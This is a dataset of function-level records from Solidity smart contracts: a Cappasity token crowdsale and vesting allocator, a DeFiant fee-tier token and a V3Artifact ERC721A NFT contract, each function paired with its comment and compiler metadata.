/**
* @dev Confirms that token issuance for an off-chain purchase was processed successfully.
* @param _beneficiary Token ... | changeicoBackend | function changeicoBackend(address _icoBackend) external onlyManager {
icoBackend = _icoBackend;
}
| /**
* @dev Allows the manager to change backends.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
3068,
3184
]
} | 4,259 | |||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State varia... | Cappasity | function Cappasity(address _manager) public {
manager = _manager;
}
| // Constructor
// =========== | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
769,
855
]
} | 4,260 | |||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State varia... | function() payable public {
revert();
}
| // Fallback function
// Do not allow to send money directly to this contract | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
945,
1003
]
} | 4,261 | ||||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State varia... | transfer | function transfer(address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transfer(_to, _value);
}
| // ERC20 functions
// ========================= | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
1064,
1224
]
} | 4,262 | |||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State varia... | mint | function mint(address _beneficiary, uint _value) external onlyByManager {
require(_value != 0);
require(totalSupply.add(_value) <= TOKEN_LIMIT);
require(mintingIsAllowed == true);
balances[_beneficiary] = balances[_beneficiary].add(_value);
totalSupply = totalSupply.add(_value);
}
| // Mint some tokens and assign them to an address | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
2206,
2544
]
} | 4,263 | |||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State varia... | endMinting | function endMinting() external onlyByManager {
require(mintingIsAllowed == true);
mintingIsAllowed = false;
MintingDisabled();
}
| // Disable minting. Can be enabled later, but TokenAllocation.sol only does that once. | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
2639,
2804
]
} | 4,264 | |||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State varia... | startMinting | function startMinting() external onlyByManager {
require(mintingIsAllowed == false);
mintingIsAllowed = true;
MintingAllowed();
}
| // Enable minting. See TokenAllocation.sol | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
2855,
3021
]
} | 4,265 | |||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State varia... | freeze | function freeze() external onlyByManager {
require(tokensAreFrozen == false);
tokensAreFrozen = true;
TokensFrozen();
}
| // Disable token transfer | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
3055,
3211
]
} | 4,266 | |||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State varia... | unfreeze | function unfreeze() external onlyByManager {
require(tokensAreFrozen == true);
tokensAreFrozen = false;
TokensUnfrozen();
}
| // Allow token transfer | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
3243,
3403
]
} | 4,267 | |||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | VestingWallet | contract VestingWallet {
using SafeMath for uint;
event TokensReleased(uint _tokensReleased, uint _tokensRemaining, uint _nextPeriod);
address public foundersWallet;
address public crowdsaleContract;
ERC20 public tokenContract;
// Two-year vesting with 1 month cliff. Roughly.
bo... | /**
* @dev For the tokens issued for founders.
*/ | NatSpecMultiLine | VestingWallet | function VestingWallet(address _foundersWallet, address _tokenContract) public {
require(_foundersWallet != address(0));
require(_tokenContract != address(0));
foundersWallet = _foundersWallet;
tokenContract = ERC20(_tokenContract);
crowdsaleContract = msg.sender;
}
| // Constructor
// =========== | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
611,
941
]
} | 4,268 | |
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | VestingWallet | contract VestingWallet {
using SafeMath for uint;
event TokensReleased(uint _tokensReleased, uint _tokensRemaining, uint _nextPeriod);
address public foundersWallet;
address public crowdsaleContract;
ERC20 public tokenContract;
// Two-year vesting with 1 month cliff. Roughly.
bo... | /**
* @dev For the tokens issued for founders.
*/ | NatSpecMultiLine | releaseBatch | function releaseBatch() external onlyFounders {
require(true == vestingStarted);
require(now > nextPeriod);
require(periodsPassed < totalPeriods);
uint tokensToRelease = 0;
do {
periodsPassed = periodsPassed.add(1);
nextPeriod = nextPeriod.add(cliffPeriod);
t... | // PRIVILEGED FUNCTIONS
// ==================== | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
1002,
1887
]
} | 4,269 | |
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWalle... | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | TokenAllocation | function TokenAllocation(address _icoManager,
address _icoBackend,
address _foundersWallet,
address _partnersWallet,
address _emergencyManager
) public {
require(_icoManager != address(... | /**
* @dev Constructs the allocator.
* @param _icoBackend Wallet address that should be owned by the off-chain backend, from which \
* \ it mints the tokens for contributions accepted in other currencies.
* @param _icoManager Allowed to start phase 2.
* @param _foundersWallet Where the founders' toke... | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
2770,
3602
]
} | 4,270 | |
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWalle... | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | issueTokens | function issueTokens(address _beneficiary, uint _contribution) external onlyBackend onlyValidPhase onlyUnpaused {
// phase 1 cap less than hard cap
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
require(totalCents... | /**
* @dev Issues tokens for a particular address as for a contribution of size _contribution, \
* \ then issues bonuses in proportion.
* @param _beneficiary Receiver of the tokens.
* @param _contribution Size of the contribution (in USD cents).
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
3956,
6103
]
} | 4,271 | |
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWalle... | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | issueTokensWithCustomBonus | function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus)
external onlyBackend onlyValidPhase onlyUnpaused {
// sanity check, ensure we allocate more than 0
require(_tokens > 0);
// all tokens can be bonuses, but th... | /**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend. Used for distributing bonuses for affiliate transactions
* and special offers
*
* @param _beneficiary Token holder.
* @param _contribution The equivalent (i... | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
6601,
8748
]
} | 4,272 | |
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWalle... | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | rewardFoundersAndPartners | function rewardFoundersAndPartners() external onlyManager onlyValidPhase onlyUnpaused {
uint tokensDuringThisPhase;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
tokensDuringThisPhase = totalTokenSupply;
} else {
tokensDuringThisPhase = totalTokenSupply - tokensDuringPhaseOne;
}... | /**
* @dev Issues the rewards for founders and early contributors. 18% and 12% of the total token supply by the end
* of the crowdsale, respectively, including all the token bonuses on early contributions. Can only be
* called after the end of the crowdsale phase, ends the current phase.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
9076,
11090
]
} | 4,273 | |
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWalle... | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | beginPhaseTwo | function beginPhaseTwo(uint _tokenRate) external onlyManager onlyUnpaused {
require(crowdsalePhase == CrowdsalePhase.BetweenPhases);
require(_tokenRate != 0);
tokenRate = _tokenRate;
crowdsalePhase = CrowdsalePhase.PhaseTwo;
bonusPhase = BonusPhase.TenPercent;
tokenContract.startMinting(... | /**
* @dev Set the CAPP / USD rate for Phase two, and then start the second phase of token allocation.
* Can only be called by the crowdsale manager.
* _tokenRate How many CAPP per 1 USD cent. As dollars, CAPP has two decimals.
* For instance: tokenRate = 125 means "1.25 CAPP per USD cent" <=>... | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
11464,
11822
]
} | 4,274 | |
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWalle... | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | freeze | function freeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.freeze();
}
| /**
* @dev Allows to freeze all token transfers in the future
* This is done to allow migrating to new contract in the future
* If such need ever arises (ie Migration to ERC23, or anything that community decides worth doing)
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
12082,
12243
]
} | 4,275 | |
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWalle... | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | calculateCentsLeftInPhase | function calculateCentsLeftInPhase(uint _remainingContribution) internal view returns(uint) {
// Ten percent bonuses happen in both Phase One and Phase two, therefore:
// Take the bonus tier size, subtract the total money gathered in the current phase
if (bonusPhase == BonusPhase.TenPercent) {
r... | // INTERNAL FUNCTIONS
// ==================== | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
12470,
13195
]
} | 4,276 | |
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWalle... | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | advanceBonusPhase | function advanceBonusPhase() internal onlyValidPhase {
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.FivePercent;
} else if (bonusPhase == BonusPhase.FivePercent) {
bonusPhase = BonusPhase.None;
... | /**
* @dev Advance the bonus phase to next tier when appropriate, do nothing otherwise.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
14899,
15372
]
} | 4,277 | |
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWalle... | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | function() payable public {
revert();
}
| // Do not allow to send money directly to this contract | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
15770,
15828
]
} | 4,278 | ||
DeFiant | DeFiant.sol | 0xf0829dc1f8522a48bfdd7d993e1b2d1ebd787fd1 | Solidity | DeFiant | contract DeFiant is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address public marketingaddress = 0x354dBc8AdB191AFc12B868207A4E3382B8b9e5C7; // This is the lottery address
address public PCS;
address private ps;
mapping (address => uint256) private ... | excludeFromFee | function excludeFromFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = true;
}
| // Management Functions ***Owner Only*** // | LineComment | v0.8.10+commit.fc410830 | Unlicense | ipfs://932af957b88e02db394eebe98dff1f7b354d3f1fe6453b3b6a28f304f8060847 | {
"func_code_index": [
20272,
20390
]
} | 4,279 | ||
DeFiant | DeFiant.sol | 0xf0829dc1f8522a48bfdd7d993e1b2d1ebd787fd1 | Solidity | DeFiant | contract DeFiant is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address public marketingaddress = 0x354dBc8AdB191AFc12B868207A4E3382B8b9e5C7; // This is the lottery address
address public PCS;
address private ps;
mapping (address => uint256) private ... | update_tiers | function update_tiers(uint256 t1_size,uint256 t1_percent,uint256 t2_size,uint256 t2_percent,uint256
t3_size,uint256 t3_percent,uint256 t4_size,uint256 t4_percent,uint256 t5_size,uint256 t5_percent)external onlyOwner(){
tier1_size = t1_size;
tier1_amount = t1_percent;
tier2_size = t2_size;
tier2_amount = t2_perc... | //Make sure you add the 9 zeros at the end!!! | LineComment | v0.8.10+commit.fc410830 | Unlicense | ipfs://932af957b88e02db394eebe98dff1f7b354d3f1fe6453b3b6a28f304f8060847 | {
"func_code_index": [
21689,
22222
]
} | 4,280 | ||
DeFiant | DeFiant.sol | 0xf0829dc1f8522a48bfdd7d993e1b2d1ebd787fd1 | Solidity | DeFiant | contract DeFiant is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address public marketingaddress = 0x354dBc8AdB191AFc12B868207A4E3382B8b9e5C7; // This is the lottery address
address public PCS;
address private ps;
mapping (address => uint256) private ... | //to recieve ETH from uniswapV2Router when swaping | LineComment | v0.8.10+commit.fc410830 | Unlicense | ipfs://932af957b88e02db394eebe98dff1f7b354d3f1fe6453b3b6a28f304f8060847 | {
"func_code_index": [
22415,
22449
]
} | 4,281 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | totalSupply | function totalSupply() public view override returns (uint256) {
return currentIndex;
}
| /**
* @dev See {IERC721Enumerable-totalSupply}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
1824,
1926
]
} | 4,282 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | tokenByIndex | function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
| /**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
1994,
2182
]
} | 4,283 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | tokenOfOwnerByIndex | function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i ... | /**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
2471,
3280
]
} | 4,284 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | supportsInterface | function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInt... | /**
* @dev See {IERC165-supportsInterface}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
3343,
3713
]
} | 4,285 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | balanceOf | function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
| /**
* @dev See {IERC721-balanceOf}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
3768,
3990
]
} | 4,286 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | ownershipOf | function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
... | /**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
4414,
4879
]
} | 4,287 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | ownerOf | function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
| /**
* @dev See {IERC721-ownerOf}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
4932,
5058
]
} | 4,288 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | name | function name() public view virtual override returns (string memory) {
return _name;
}
| /**
* @dev See {IERC721Metadata-name}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
5116,
5218
]
} | 4,289 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | symbol | function symbol() public view virtual override returns (string memory) {
return _symbol;
}
| /**
* @dev See {IERC721Metadata-symbol}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
5278,
5384
]
} | 4,290 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | tokenURI | function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';... | /**
* @dev See {IERC721Metadata-tokenURI}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
5446,
5788
]
} | 4,291 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | _baseURI | function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
| /**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
6025,
6131
]
} | 4,292 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | approve | function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approve... | /**
* @dev See {IERC721-approve}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
6291,
6701
]
} | 4,293 | ||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMi... | getApproved | function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
| /**
* @dev See {IERC721-getApproved}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
6758,
6972
]
} | 4,294 | ||||
